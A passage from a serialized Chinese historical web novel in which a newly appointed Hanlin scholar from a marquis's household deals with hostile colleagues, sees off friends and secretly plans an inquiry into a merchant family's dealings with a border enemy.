那人摆手道:“什么下官不下官的,我也只是个正六品侍读,名叫张望,本来是由我带你熟悉翰林院的,谁知方才闹肚子,这才晚了。一会儿我领你去见见各侍讲、侍读学士,今日主要以熟悉为主。”原来此人就是带他熟悉环境,名叫张望的正六品侍读。
“那就劳烦张大人了!”
“你也太客气了!”说罢,带着他四处转起来。
到底是翰林院,书就是多。而院子里的人却比较少,要么都在屋子里,要么抱着书匆忙经过。
张望见封砚初好奇,说道:“咱们这块地方最是清贵,除了修史,修书以外,还要负责为陛下起草诏书,除此之外,陛下若是想咨询书本上的问题,自然是侍读学士,侍讲学士负责,像我这种的就打打下手。”
他又指着不远处的房屋说道:“今后你就在那里,负责编修咱大晟的国史!我带你进去看看!”
当封砚初进去之后,这才发现并不是所有人都忙着修书,有的正在闲聊,有的正在翻看书本,当然还有些正在写着什么。
张望自然瞧出对方的震惊,立即解释道:“你不用惊讶,只要在规定的期限内完成上面的任务,其余时间,咱们这里最清闲。”
此时旁边的一个官员辩解道:“你别听他胡说,是你运气好,前段时间我们刚为陛下编完了《农桑本纪》,这个时间段正好是个空闲。”
张望见状道:“翰林院的大致情况我都已经给你介绍完了,剩下你慢慢就知道了,我便告辞了。”
封砚初回礼道:“多谢张大人。”
这位官员顺势接手,给封砚初指了指位置,之后又一一介绍所有同僚,所幸他记性还算好,都记住了。
就这样,一上午的时间就这样过去了。
翰林院是有厨房的,而这些官员为了节省,大多数都在此处用饭。
封砚初为了不搞特殊,也一起去了。与曾经吃过的饭菜比较,可算是相差甚远,味道就算了,只能说能吃,他几乎是硬着头皮吃完的,整个过程连眉头都没皱一下。也恰恰是这个举动,让一些人对他有所改观。
下午,之前那位官员就凑上来了,“封大人,你可以啊!大家都还以为你中午必定让家里带饭呢,没想到你竟然吃的下去?”
“刘大人,这饭诸位吃得,我封某自然也吃得。”封砚初说道。
“那是你不知道以前也有一个出身富贵的,本打算与大家同饮同食,第一日也去吃了翰林院的饭,没想到竟然吐了,可把大家伙恶心的够呛。”刘大人直接说出之前的一件事。
封砚初装着恍然的表情,只静静听着,并未附和,随后才道:“刘大人,在下第一日进入翰林院,只觉得此处的书都是瑰宝,所以想去读一读。”
刘大人呵呵笑着:“你去吧,那我就不打扰你了。”
封砚初去书库借了一本书翻看着,他刚刚才明白,这些人其实一直想看他的笑话,之后也会继续看他的笑话。不用打听就知道,那位进入翰林院家境富裕的大人,结果不会好,否则刘大人怎敢将其当做笑话讲,周围无人阻止。
这些人无非是觉得他这个侯府公子出身勋贵,即使考中进士,得了状元之名,也与他们不是同路人。
可那又如何!翰林院从来不是他的出路,只是他将来官途的起点!
这里看似清贵,可里头的老翰林不知凡几,他们在这里熬着,大多数人看不到升迁的希望,觉得如此也显得他们与众不同,不与其他人同流合污。
晚上,才进门的封砚初还没来得及坐下喝杯茶,孙延年就来了。
他兴致颇高,语气中有些幸灾乐祸的意思,“二郎,你今日在翰林院过的怎么样?”
“还行。”封砚初偏不如对方的意,故意淡淡道。
“还行?”孙延年心中果然奇怪,下一句就说出实情,“怎么?那些翰林们没为难你?”
“没有,他们最多是想等着看我笑话罢了。”那些人越如此,反而越能激起他的斗志!
第一百三十六章 出去代表的是武安侯府
孙延年坐到旁边,先是打量了一番封砚初,“看来那些人没有为难上。”
紧接着端起清茶浅饮一口,为自己解释,“这翰林院的周大人是两朝元老,在翰林院足足待了有三十年!先帝临终前的圣旨都是他拟的,所以陛下登基后,对他也是多有敬重。”
“只是此人出身贫寒,当官这么多年,京城连个宅子也没置办下。生平最喜那些寒门出身之人,对你这样勋贵子弟最厌恶,所以连带着整个翰林院也是上行下效,毕竟谁让人家是翰林院之首呢?”
孙延年说到此处,反问道:“你可知道沈恭佑?”
“沈恭佑?”封砚初想起来了,“我记得他是齐国公府的沈二郎君,几年前,齐国公府犯了事,陛下夺爵下狱,他被发配三千里!”他不得不对这件事印象深刻,毕竟当年二叔还因此被祖父打断了腿。
孙延年这才道:“可说呢,他之前就考中进士,进了翰林院。”
“难道是他?”封砚初想起白天的事情来。
“什么难道是他?”孙延年不解道。
“哦,今日翰林院的官员说,曾有一出身富贵的官员,初次进入翰林院,为了与众人拉近关系,还特意吃了翰林院的饭,结果吐了,难道是他?”他将今日刘大人的话说了一遍。
孙延年道:“可不是他嘛,之后还请翰林院那帮人吃饭,可他得罪的是周大人,自然没人愿意去。最后集流巷事发,陛下本就有心整治,再加上墙倒众人推,齐国公府就败了。”
“我听我父亲说,当初这周大人极力向陛下谏言,处死沈恭佑,好在陛下念及齐国公一脉与太祖皇帝出身同族,这才判了流放。”
“竟是如此?多谢你来告知。”封砚初这才明白过来,若这周大人将他当成沈恭佑,那就看错人了!
孙延年依旧不放心,“你千万要小心,这周大人是个老顽固。有时候连首辅申大人的面子也不卖,就是陛下也被他气过,否则以他的资格,何至于在翰林院学士的位子上待那么久。当官多年,连翰林院的门都没出去过,但你也别小看,他在寒门学子中的威望很高。”
“放心,我心中有数。”
“你有数就好。”其实孙延年原本前天就要告诉封砚初的。
可京郊的新安县出现了一伙盗贼,当地县令上报京兆府,京兆府派去的人不仅抓捕无果,竟然还受伤了。上头又让京西武备营前去抓捕,所以他这两日去了一趟新安县,今日才回来。
话说封砚开自从亲自监督四郎之后,对方倒是勤谨,每日报到。
大郎拿着对方新写的策论先是点评了一番,然后说道:“虽说策论有些进步,可你的童生试勉强通过,如果还是这个水平,那后头的院试你就不要想了。”
看着四郎低着头的样子,他终于明白了二郎的心情,便出言勉励,“不过你也不要失望,有进步还是好的,再者你是侯府公子,就要有侯府公子的气度。无论是行事,还是举止投足都要硬气些!你不仅仅是你自己,出去代表的是咱们武安侯府。”
说到这里,他拍了拍对方的背,郑重道:“昂起头,挺直腰杆!即使犯错受批评也要如此,更何况你并没有错处!”
四郎怔怔地点点头,“大哥,我知道了。”声音依旧不大,但起码不再低着头。
“好,你重新写一遍再拿给我。”大郎将策论还给对方,其实他心中难免感叹时间太短。
“是!”四郎接过策论,坐回位子,思索着大哥点评的话,仔细修改重写。
四郎只知死读书,对其他方面的书籍未有丝毫涉猎,但科举考试不仅仅只有四书五经,还有其他延伸之处,所以不仅要学的好,还要广而博!
眼看就到了院试之期,时间上有些来不及,除非发生奇迹,否则四郎此次想要通过院试是不可能的,倒是封砚明还有机会。
方姨娘住处。
此刻的她正给女儿训话,“你也老大不小了,世子抽出自己的时间教导四郎读书,你这个做妹妹的,好歹绣些荷包帕子送过去,也是你的一片心意。”
二妹封砚婉一听到绣东西就头疼,连忙拒绝,“姨娘,你让我绣东西送去?我那一手刺绣能拿得出手吗?若真的送过去,只怕不是心意,是笑话吧。”
方姨娘气的用手指点着女儿的额头,“你还知道拿不出手啊,那还不赶紧练习!”
封砚婉头摇的像个拨浪鼓似的,“临时抱佛脚,没用。”
“你大哥一直在家里,又不是明日就要出门了,怎么来不及!”方姨娘见女儿有想要溜出去的打算,立即换了口吻,“要不这样,也不要你绣东西了,一会儿让萍儿教你打络子,到时候送过去可好?”
封砚婉见姨娘松口,她也担心逼急对方,就退了一步,答应道:“那好吧。”
方姨娘见女儿答应,害怕她反悔,连忙说道:“丝线我已经准备好了,萍儿,你这两日就跟着姑娘,务必让她打出几个能看的络子。”
“是,姨娘!”萍儿早就拿出丝线,准备跟着二姑娘一起回去。
“姨娘的动作真快。”封砚婉见姨娘如此神速,哪里不清楚这是上当了。可见姨娘原本就打算让她打络子的,绣荷包帕子不过是试探罢了!
方姨娘才不管呢,她好容易骗得女儿动手,口中催促着,“你快回去弄,别耽搁了。”其实这还是张姨娘给她出的主意,果然好使。
(感觉自己好勤快呀(? ??_??)?,11月一天假都没请)
第一百三十七章 他怎么会给你
之后也确实如预料的一样,四郎院试并未通过。其实之前,他心里还是隐隐期盼自己能过的,所以,当结果出来后,还是有些失望。
大郎封砚开很清楚,前头说的话不过是安慰之语。又想到四郎历练不够,所以策论写的也不够深刻,便给他写了一个书单,“这些书都得看。”
四郎接过书单,发现都是什么地质、农书、水利、兵书,甚至还有建筑方面的书,有些无措的说道:“可这些都是杂书。”
大郎趁机教导,“杂书?何为杂?只有那些无用之书才会被称为杂,不要只盯着四书五经。”说话间,指着纸上列的书单道:“这些书是为了开阔你的眼界,丰富你的学识;只有眼界开阔了,心胸才会开阔,你写策论之时自然会游刃有余,而这是因为你的脑袋是充实的。”
四郎点头道:“大哥,我明白了!”
大郎不知是真明白,还是假明白,但未免对方丧失信心,出言鼓励,“嗯,你年岁还小,不用太急,慢慢来。”
“是,大哥。”四郎何尝不知这是安慰自己,大哥比他年长两岁,二哥仅一岁,可他现在连秀才都没考上。
四郎不知道的是,他比较之人本来就是最顶尖的,而他并不比那些优秀之人差太多。
大郎又想到这些书价值不菲,更何况也不好找,便道:“有些书,你那里恐怕没有,直接去找父亲借。”
随后又指着其中两本,“这两本父亲那里也没有,你可以去‘枕松闲居’找你二哥借!”
“咱家里都没有,二哥居然有?”四郎惊讶不已。
大郎听后笑着解释:“可别小瞧你二哥,他那里的书,除了本身用的以外,好些都是王姨娘带到侯府的嫁妆。二郎的外祖父可是个读书之人,且藏书颇丰,我还借的抄了几本,只是又借出去了,否则就给你了。”
这是四郎第一次听说,他以前只知道二哥的姨娘家里原本是读书人,没想到二哥外祖父竟有这么多藏书。
‘朝考’的成绩吏部已经核定了,这些二甲三甲的进士们都有了去处。
大郎封砚开被安排到户部学习,谢鹤川去了工部,江行舟则去了地方为县令。
京郊,还是那个地方。
谢鹤川感慨道:“上次也是在这个地方,咱们一起送元康回乡,时隔几月,又要送你去地方赴任。”
江行舟笑道:“无需伤感,身为一县之长,执掌全县的司法,行政,财税,文教;正好历练自己,没准上头瞧我能力出众,来日还有机会回京呢!”
面对江行舟的乐观,封砚初却明白,虽在地方任县令,可诸事繁杂,一点儿都不比京城轻松,更何况还有地方乡绅豪强掣肘。
“对于地方而言,你虽是县令,可毕竟是流官,那些地方豪强未必服你,所以务必小心谨慎!”
江行舟知道对方所言皆为推心置腹之语,正色道:“二郎放心,我会小心的!”
谢鹤川虽喜钻营,但其实他与江行舟处的还不错,对方是个真性情之人,便承诺道:“若有难事,定要来信,只要能帮的,我肯定帮忙。”
三人又说了些话,封砚初抬头看了看天色,时间已不早,拱手道:“再耽搁下去恐怕要错过驿站,江兄,山高水长,万望保重!”
谢鹤川亦拱手道别,“江兄,一路顺风!”
即使再不舍,也要告别,江行舟也回礼道:“二郎,谢兄,告辞!”说罢骑驴而去!
让封砚初没想到的是,回城的路上竟然碰到了陈泽文。两人关系寻常,见面最多客气的点点头,若是周遭无人,相互之间更是视而不见。
“封砚初!”陈泽文叫住前行之人。
封砚初差点以为自己的耳朵幻听了,停下来疑惑道:“原来是陈郎君,不知叫住在下有何要事?”语气平静无波,仿佛刚才就是没瞧见人。
因为小时候被揍过,所以陈泽文即使长大之后见到此人,心里仍然觉得不得劲。对方的行为举止看着没有差错,可他还是察觉出对方的阴阳怪气,说话的语气难免冲一些,“若非有事,谁会叫你!”随后盯着一旁的谢鹤川不说话。
谢鹤川自然识趣,连忙道:“在下家中还有事,就先行告辞。”
“好,改日再聚。”封砚初并未阻止,而是拱手作别。
陈泽文一直等到对方离开,才从袖囊中拿出一个密封着的信,清了清嗓子道:“这是孙延年让我转交给你的!”紧接着强调,“我可没偷看啊!”
封砚初接过信封后并未直接拆开,而是收起来,心中有些疑惑,“他怎么让你转交?”
“好像是北边发生了什么状况,陛下命安南将军北上,他也要随行,在找你的路上正好碰见我,我瞧他急匆匆的样子,然后帮忙代劳呗!”陈泽文并未隐瞒,反而解释着。
封砚初被对方说的话吸引了,“北边?难道是西戎犯边?还是与前段时间的倒春寒一案有关?”
“你也知道?”话刚脱口而出,陈泽文便朝四周看了看,说道:“这里不适合说话,咱们找个僻静点的地方!”这个时候,他倒是不介意之前的那点隔阂了。他母亲毕竟是平昭公主,所以有什么消息很快就知道了。
两人随意找了一处茶馆,又让人守着不许靠近。
“你知道什么,对不对?”陈泽文刚坐下就开口发问。
封砚初并未回答,反而端起茶杯问道:“你请?”方才送别江行舟,他好半天没喝水,正觉得口渴。
陈泽文不耐烦道:“好好好,我请!”
他这才喝了一口,“嗯,这茶倒是有些一般。”
“若想喝好茶,我改日请你!你到底知道些什么?”陈泽文觉得自己的耐心被一点点消耗殆尽。
他并未回答,“这事你问我做甚?你母亲乃是平昭公主,你知道的肯定比我的多!”
第一百三十八章 一语惊醒梦中人
陈泽文下意识压低声音,“北边传来消息,邢老将军负伤了!”
“怎么会受伤?难道是细作?”封砚初立即意识到另一件事,说道:“安南将军还未北上,若此事外泄,万一被西戎知道的话,那可就坏了!”
“这个还不知道,目前消息暂时被瞒着,京中知道的人虽然不多,但也都猜到北边出了问题!”陈泽文说到这里叮嘱道:“你万不可外传!”
封砚初无语道:“那你还给我说?咱俩关系很好吗?”
“咱俩虽然关系一般,但我还是了解你的为人,你有你的骄傲,有些事情是不屑去做的。”
对方突如其来的夸赞竟让他一时之间不知该说什么,只得道:“多谢你看得起!”
陈泽文又道:“你什么时候猜到,倒春寒一案与北边有关系的?”
“出贡院的第二日就猜到了。”说到此处,封砚初眼神锐利,冷哼道:“哼,胆敢乱我大晟朝堂,早晚有一日,西戎必亡!”
此时,陈泽文只觉得眼前的封砚初在发光,就连父亲都是以谈为主,见对方语气坚定,不禁道:“自从被你打了一顿之后,我也是苦练武艺,这么多年下来也不差。前两年刚有参军的念头,就被我母亲和父亲联合说了一通。”
“你想参军?想去就去呗!”封砚初觉得对方有些优柔寡断,想做什么,难道父母反对就不去了吗?
“说句你不爱听的,你虽受宠,可毕竟是庶出,唐大娘子是嫡母怎好深管,而你又那么淘气,想做什么只需你父亲同意即可。”陈泽文如今已经能看淡嫡庶的问题了。
“我不一样,母亲是皇室公主,只要她不同意,我父亲必定站在身后支持。若我坚持,母亲还会进宫向陛下哭诉,最后的结果就是,我被陛下叫进宫骂一顿。”此刻,他似乎觉得自己与封砚初的关系化解了不少。
“其实最重要的问题是,你只需向陛下证明你可以即可,否则只会让人觉得是小孩子闹脾气,添乱不懂事。”封砚初指出问题的核心,要是陈泽文真的能力出众,都没有平昭公主什么事,陛下定然同意。
陈泽文听后点头认可道:“你说得对,我现在缺的是历练,只要能在历练中成长,让陛下看见我的能力,目的肯定能达到!”
“这才对嘛,别老抱怨,行动起来!”封砚初也没想到对方竟然听进去了。
“一语惊醒梦中人,封二郎,谢了。”陈泽文心情不错,直到此刻才喝了一口茶,便眉头轻皱,“这茶确实一般,你竟然喝了这么多,改日送你些好的!回见!”说罢放下茶杯,推门离开。
封砚初隔门喊道:“记得付账!”
楼下传来一个声音,“这点钱都要提醒,你真吝啬!丁燎,付钱!”
回到‘枕松闲居’之后,封砚初这才打开孙延年的信。
当他看到里面的内容之时,着实惊到了,徐家真是好大的胆子!
没错,是徐家,而非信国公府。
徐家乃是太宗皇帝的母家。当年徐家不过是青州的商户,太祖家贫却喜爱读书,徐家便将徐太后嫁给太祖,并资助其读书。
时值乾朝末年,皇帝昏庸,世家掣肘把控朝堂,官场黑暗,太祖辞官归乡。奈何当时北有安怀国攻城掠地屠杀百姓,南有南离国不安分意图北上;地方上,官员压榨,天下百姓苦不堪言。
为了天下安宁,为了驱除外敌,更是为了百姓脱离苦海,太祖只能顺应民意。之后在太宗的帮助之下,建立了大晟朝。
徐家也水涨船高,因此一分为二。长子袭爵,次子回乡继承家业,继续行商。
可这些年徐家的胆子越来越大,生意自然也就大了。为了利益毫无底线,竟然与西戎有些瓜葛。无论是青州徐家还是京城的信国公府,他们都姓徐!难道青州出事,信国公府会完好无损?
孙家乃是武将出身,在边疆有自己的人,这才探出猫腻。作为好友,孙延年知道封砚初所忧之事,这才送信告知,将来能多些筹码,只是目前没有切实的证据。
徐家!既然知道了这件事,关键时刻自然要用上!
封砚初冷笑着,“徐家!好一个徐家!”他想到了乾朝末年贺家的结局。
(乾朝贺皇后母家因巨富,被当时的皇帝忌惮,再加上朝廷穷困,最后全族被尽诛。此书与上一本《这个开局有点惨》是同一个世界观,里面有相关内容。)
当天晚上,他就回了武安侯府。
“你怎么这个时候回来?可是发生了什么事?”封简宁没想到这么晚,次子竟然回来了。
封砚初便将事情说了一遍,“父亲!这可是对付信国公最好的证据,若将来真有个万一,必定能帮上大忙!”
封简宁没想到竟然会收到这样一个好消息,心中兴奋不已,好半晌才平静下来,“这件事必须秘密进行!自从你祖父去世,夏津便闲下来了,云樟的训练工作也已经结束,便让他二人私下调查!”(夏津,老侯爷身边的护卫;云樟,二叔封简言身边的护卫,不过一直留在府里训练其他护卫。)
封砚初思索道:“这件事急不来,一人去青州,一人去北边,同时调查;北边倒还好说,本来就有很多商贩去!只是青州那边,恐怕还需要人打掩护!”
封简宁一拍桌子,“这个好办!就说大郎与你同时考中进士,你更是得了头名状元,如今皆已授官,尘埃落定,正好回去祭拜先祖!就让你祖母和你母亲同去!让四郎跟着!”
“不,让三弟跟着去!”
“可老三……太不稳重了。”
“不,父亲,恰恰相反,三弟虽然看着不稳重,实际他最知道什么该说,什么不该说,粗中有细。四弟胆子太小,若发生意外,他自己就先没了主意!”
封砚初太了解这俩人的性子,四弟未经历练有些不成气候。三弟则相反,虽然不爱读书,可也正因此对外比别人强。
“就依你所言,这件事只告诉你祖母,其余人都瞒着!”父子二人快速商议出结果。
第一百三十九章 不如回一趟青州
封砚初并未停留,与父亲谈完之后就回了‘枕松闲居’。
次日,大娘子与温氏请安时,就瞧见老太太长吁短叹,神情中颇有些遗憾的意思。
“母亲,可是家里有谁惹您生气了?”温氏一边奉茶,一边问道。
老太太接过茶杯,就在杯口都快要碰到嘴唇之时,又将它放在桌子上,叹道:“如今家里谁敢给我气受?”
大娘子思量着说道:“母亲可是想念二郎了?不然让二郎下职后回来一趟。”
“倒是不用,只是想到了老侯爷。他在世之时,就盼着咱家的子孙后辈能争气些。如今大郎和二郎那样的出息,别人家求都求不来。”其实昨晚老太太就已经听儿子说了,就打算今日演一出戏。
“那样母亲更应该高兴才是,何苦愁闷呢?”大娘子心中也满是疑惑,只是还未猜出老太太的意思。
“唉,我昨夜梦见了老侯爷,他正在被祖宗训斥,说他是不是翘尾巴了,武安侯的后辈忘记了先祖。”老太太一脸愁闷。
“这怎么可能?大郎和二郎这么优秀,祖宗高兴还来不及呢?”温氏劝解道。
与温氏不同,大娘子直接开口问,“那母亲您的意思是?”
老太太这才说道:“我想着是不是祖宗怪罪咱们,这么多年来一直久居京城,很少回青州祭拜?现在大郎与二郎都已经授了官,尘埃落地,想必不会再出什么差错了。我想着不如回一趟青州,将此事告知祖宗,也算是回乡祭祖。”
大娘子倒不觉得有什么,“母亲想要回去祭祖自然是好的,只是侯爷怎么说?”
老太太为了撇清儿子的关系,说道:“我还未同他说呢,若是回去难免是一番折腾,我也不想添麻烦。”
温氏笑道:“瞧母亲这话说的,什么麻烦不麻烦,只要大哥同意,儿媳陪您同去。说起嫁进来这么多年,儿媳还从来没回去过呢。”
大娘子虽不理解老太太怎么突然有了这个念头,但是作为儿媳自然要支持,也附和道:“是啊,母亲,若是想回去的话,儿媳也陪您同去。”
老太太感动不已,“你们都是好的。”
下午,封简宁刚回来,就被叫去老太太之处。
他进门就问,“母亲,这么着急将儿子叫回来,可是有什么吩咐?或者是谁调皮了?”
老太太脸上是一片慈和之色,“并不是谁调皮了,是我想回青州祭祖。”
封简宁脸上表现出疑惑,“青州?这么远?如今大郎和二郎刚任职,没时间陪您去,儿子也走不开,不然开祠堂,您在京城祭祖也一样。”
老太太听后竟有恼色,“你可是觉得我年纪大了,无理取闹?你嫌麻烦了?”
原本还坐在位子上的封简宁连忙跪下请罪,“母亲,儿子绝无此意,您这样说,真是令儿子羞愧难当。”
大娘子连忙劝道:“母亲,您别生气。”又对夫君说,“其实母亲此次想要回青州,并不是为了自己,而是为了侯府。”随后将老太太的话复述了一遍。
老太太此刻脸色才好些,亲自将儿子扶起来,“自从你父亲去世,这几年你支持侯府颇为不易,我这个做母亲的岂能不知?正好家里出了大郎与二郎这样的好孙子,自然要回青州祭祖。”
“这本来是你的事,只是你说的也对,京城局势变化,如何能轻易告假离开。那就由我亲自走一趟,重要的是要求得祖宗庇佑他们俩!”是的,老太太觉得既然要回青州,正好求祖宗庇佑两个孙儿,庇佑武安侯府。
封简宁顺势起来,问道:“既如此,就劳烦母亲了,只是您想让谁陪您回去?”
老太太装作略微思索后才道:“你娘子乃武安侯夫人,是宗妇,之前还没回去过青州,此次便让她跟我一起去。至于别的,三郎不爱读书,现下家里只有他一人上学塾,必定待的难受,就让他一起同行护送。”母子两个可谓是装模作样的表演了一番。
大娘子听后立即道:“是儿媳疏忽了,竟然还没去过青州祭拜祖宗。”
封简宁并不在乎,摆手道:“这如何怪的了你,一则你掌管家事,二则也是往年太忙碌,没时间。”
“既然此次是我陪同母亲去青州,那家里这一摊子只能辛苦弟妹代劳几日,我这就去找弟妹说一说。”其实在大娘子心里,管家固然重要,可她更惦记女儿。
老太太点头道:“嗯,你快去忙你的吧。”
直至屋内的人都走了以后,母子二人这才恢复如常。
这时,老太太说道:“她一贯识大体,其实说给她听也没什么。”
封简宁摇头道:“母亲,此事至关重大,知道的人越少越好,不到万不得已不能说。”
老太太有些心疼儿子,“好,听你的。夏津是你父亲身边的老人了,在外头给咱家办了不少事,为人也灵活,北边就让他去吧。”
“是,母亲。”
“而云樟前些年虽也时常帮你父亲,可比起夏津还是弱了些,让他去青州,正好有我在,也出不了岔子。”
大娘子离开老太太的住处,并未去温氏那里,反而坐车去了‘枕松闲居’,她实在放心不下女儿。
郑伟开门看到是大娘子,有些惊讶,不过还是赶紧将人迎进来,“小的给大娘子问安。”
“二郎呢?”
“郎君正在屋内,小的给您带路。”
屋里的封砚初听见声音后出来迎接,“儿子给母亲请安,您有什么事叫儿子回去就是,怎劳烦您亲自来。”他对此并不觉得意外。
两人进了屋子之后,大娘子挥退下人,“过两日,我要与老太太回一趟青州,你姐姐还在信国公府,我就这么走,实在放心不下。”
“还请母亲放心,姐姐那里我会照看着,必不让人欺负了去!”封砚初保证道。
大娘子这才略微松了一口气,“我知道你们俩感情好,你也必定会照顾好她,我不过白嘱咐你一句。我走之后,家里就由你婶娘暂管,要是你这里有什么短了缺了的,直接找她要。”
“母亲放心,儿子晓得了。”
第一百四十章 就我一个闲人
三郎得知自己以后不用去学塾,心情甚美,整日都咧着嘴笑,害怕别人不知道似的。
此刻的他正指挥瑞雪收拾东西,张姨娘也在一旁看着。虽然是跟着长辈,但儿子毕竟是第一次,她这个做姨娘的还是要亲自来看一看。
只是还没进门就听见儿子指挥丫头们的声音,进去后就看见那笑得合不拢的嘴,气的一巴掌拍过去。
三郎正高兴着,却没头没脑的挨了一下,“姨娘!你这是做什么?儿子又没犯什么错!”
张姨娘并不在乎,反而说道:“我这是紧紧你的皮!还没走呢就笑成这样,若是出了门只怕就是脱了缰的马!我且先问你,这次老太太为什么让你陪着?”
三郎漫不经心道:“还能为什么?大哥和二哥才授了官,父亲也在吏部忙着,老四和堂哥要科考,就我一个闲人呗。”
“你知道就好!”张姨娘细细叮嘱道:“这次你出门要时刻跟在老太太和大娘子身边,一旦出去,外头可未必有京城这么安全,难免有一些宵小之辈,这些人都是亡命之徒,他们可不管你是什么身份,只看你有没有钱!家里肯定要排护卫一路护送,可不怕一万就怕万一,若真有什么事,你要听老太太的话。”
三郎有些不相信,“哪有那么危险?”
他再次喜提一巴掌,张姨娘拧着儿子的耳朵道:“你以为我是哄你的?我爹幼时跟着爷爷去收猪,半道上就碰到贼人,不仅舍了猪,就连我太爷爷都被杀了!要不是有六扇门的人办完案正好经过,只怕我爹的性命亦不保!”
“啊,你怎么从来没说过?”三郎没想到自己还能听到这些。
张姨娘叹气道:“又不是什么好事,说这些做什么?你可知道那里距京城不过四十多里。此去青州路途遥远,一路上还不知要遇上什么,所以你要长点心!不要轻信那些陌生人!之前你二哥住的那个隆安寺,里头的两个举人还不都是读书人,以交朋友的名义杀人夺财!”
被这么一提醒,三郎不禁打了一个激灵,连忙点头道:“姨娘,我记住了!”
张姨娘盯着儿子认真看了一小会儿,“嗯,看来是放在心上了。”又强调了一遍,“你记住,人心叵测!”
方姨娘住处。
二姑娘封砚婉有些伤心,她想同去青州的请求被驳回了。
“这外面有什么好的!你竟这么稀罕!”方姨娘是吃过苦的人,在她心里哪里都不如侯府好,她是进了侯府之后才算过上好日子。
“我就是想去嘛!再说祖母和母亲都让三哥陪着去了,怎么我就不行了?”封砚婉只觉委屈,她觉得三哥还不如自己呢。
方姨娘见女儿说不通,直接道:“这是老太太的意思,有本事你去求得老太太同意?”
听见这话,封砚婉就更伤心了,“你以为我没去吗?我方才就是和祖母说的,谁知才开口,就被拒绝了!”
“老太太都不同意,大娘子更不会,侯爷一向孝顺很少反驳老太太,你就放弃吧!”方姨娘一边绣着花,一边劝着。
“那我让二哥去求一求父亲呢?二哥的话,父亲还是会听的!”这是封砚婉这么多年察觉到的,她发现只要是二哥的要求,父亲很少拒绝,甚至提出来的一些意见也会被采纳,说话间就要去‘枕松闲居’。
方姨娘一把将人拦住,“你可消停些吧,若是因此麻烦你二哥,到时候看你父亲不罚你?没准大娘子也会罚你的!”她很清楚二郎在侯府的地位,看着是搬出府了,其实影响依旧。别说老太太时常惦记,大娘子更是隔三差五的派人送东西。
她见女儿安静下来,又道:“再说,你怎知你二哥就会同意呢?”
老太太出发之日,封砚初一路将人送至城外。
他看着那个面上隐隐带着兴奋之人,厉声喝道:“三弟!”
三郎果然被这声音冷不丁吓了一跳,“二哥,您说。”
“此次前往青州,祖母与母亲都是女眷,你要承担起你的责任!”这句话,封砚初是一字一句说的,缓慢而沉重。
三郎也认真起来,他想起姨娘之前给他说过的话,“是,二哥,我会照顾好她们的。”
“虽说如今大晟安宁,可难免有一二宵小之辈,所以务必保持警惕!”封砚初虽未出过远门,但也知道古代治安与现代相比还是有些差距的,这个时候又没有什么监控,定位,就是报官也很慢。
“二哥,我记住了,我姨娘也这么叮嘱过。”三郎保证道。
封砚初点头,又吩咐三郎身后的小厮双寿,“双寿!你是他的小厮,只要他有不妥之处,你又无法劝阻,一定要禀给老太太和大娘子!”
双寿一见二郎君就发怵,连忙应道:“小的谨记。”
“嗯,最好说到做到,若让我知道你阳奉阴违……”
封砚初话虽未尽,但双寿已经明白,头点的像是小鸡啄米一般,“小的一定看着郎君!”
“那就好,记住我说的,包括青州!”封砚初说完这话,也不等双寿回复,便对一旁的护卫云樟道:“云护卫,路途迢迢,你是老前辈,经验丰富,前往青州还劳烦你多照顾。”
云樟拱手道:“请二郎君放心,小的必定护好他们。”
三郎的护卫林寂见双寿在二郎君面前,比在郎君跟前都恭敬,忍不住道:“双寿,你可是郎君的小厮,怎么面对二郎君如此惧怕?”
双寿暗暗翻了个白眼,“你知道什么呀,在我之前郎君身边是别人伺候的,你可知为何不见了?”
林寂下意识道:“难道是二郎君?”
双寿点头道:“正是!你来郎君身边晚,不了解实情。别看二郎君平日温和,又搬出去住了,可整个侯府没人敢轻视。那些下人在他跟前都是服服帖帖的,真有那不长眼的,二郎君都不必禀报老太太和大娘子,可以直接处置或发卖!所以,你说呢?”
林寂吞了吞口水,此刻他很庆幸自己一直都很安分。
与此同时,封砚初也朝着老太太和大娘子拱手告别,“祖母,母亲,送君千里,终须一别。便在此别过了!”
“回去吧,我到了青州会来信的!”老太太挥手说道。
(最近有流感,今日发烧头疼,所以只有两更,明日恢复三更)
第一百四十一章 什么时候都不算晚
送别之后,封砚初便骑马往回走。只见前面来了一队京西武备营的人,原本没留意,仔细一瞧,呦呵,陈泽文竟然在里头。
对方明显看见他了,还得意的冲他扬了扬脑袋,随后朝其他人说了些什么,就往这里来了。
封砚初也下马问道:“你什么时候去的京西武备营?”
“前两日呗。”陈泽文说完,拍着他对方的肩膀道:“这还不是多亏你的提醒,当日我就给母亲说了,母亲不仅坚决反对还进宫哭诉,陛下果然将我叫进去骂了一顿,之后我就说也想为大晟出力,知道自己能力有限,想先从底下历练,不过你这怎么从城外进来了?”
“送我祖母和母亲回青州。”封砚初不甚在意道。
“回青州?你家老太太已有春秋,这大老远的,没得折腾出什么来。”
“哪是我们愿意折腾的,是老太太说我与大哥都已经授了官,她要回青州祭拜先祖。”封砚初说话的语气状似无奈。
陈泽文笑道:“那确实应该回去一趟,要搁在别人家只怕更甚。”
京西武备营平常驻守在城外,城内的治安一般由京兆府和六扇门负责,封砚初虽奇怪,但并未开口问,反而说道:“也确实好些年未回青州了,应该去看一看,祭拜一番。”
陈泽文略作犹豫,一些话还是没说出口,两人又说了几句,便道别了。
不远处,一间酒肆的二楼,一个人将这一幕尽收眼底,奇怪道:“这陈泽文与封砚初的关系什么时候这么好了?”
一旁的唐沐见状也凑上去瞧,果然见两人正说着话,随后不在意道:“我还当什么大事呢?封二郎与陈泽文虽说小时候打过架,但那也是幼时之事,如今长大明事理,自然不同。”
又一姓章的也凑上去看,“陈泽文进了京西武备营?我说这些日子怎么没见着他,感情是领了差事。”随即,羡慕之语脱口而出,“哎呀,这有家世和靠山之人就是不同,就连京西武备营都能进去。”
“是啊,这京西武备营可不好进。”另一个同样在窗边观看的朱姓之人说道。
此时,吉四郎君轻笑一声,他还是知道京西武备营的,出言阻止道:“休要胡说,前日我听我二哥说起过,陈泽文进京西武备营是陛下亲自考教的!更何况京西武备营乃是太宗所建,早有规定,想要进去必须通过考核,否则即使是皇亲和勋贵亦不可违。”
吉家最初是在玄麟卫供职,乃是陛下的亲信,后来有后代去了六扇门,有习武从军的,也有去读书科考的。
前两日,吉隆就已经被陛下任命接管京西武备营,所以吉四郎早就知道此事,只是一直没说罢了。
那位朱郎君立即意识到自己失言,连忙轻拍了几下嘴巴,“哎呀,是我胡乱揣测了!”
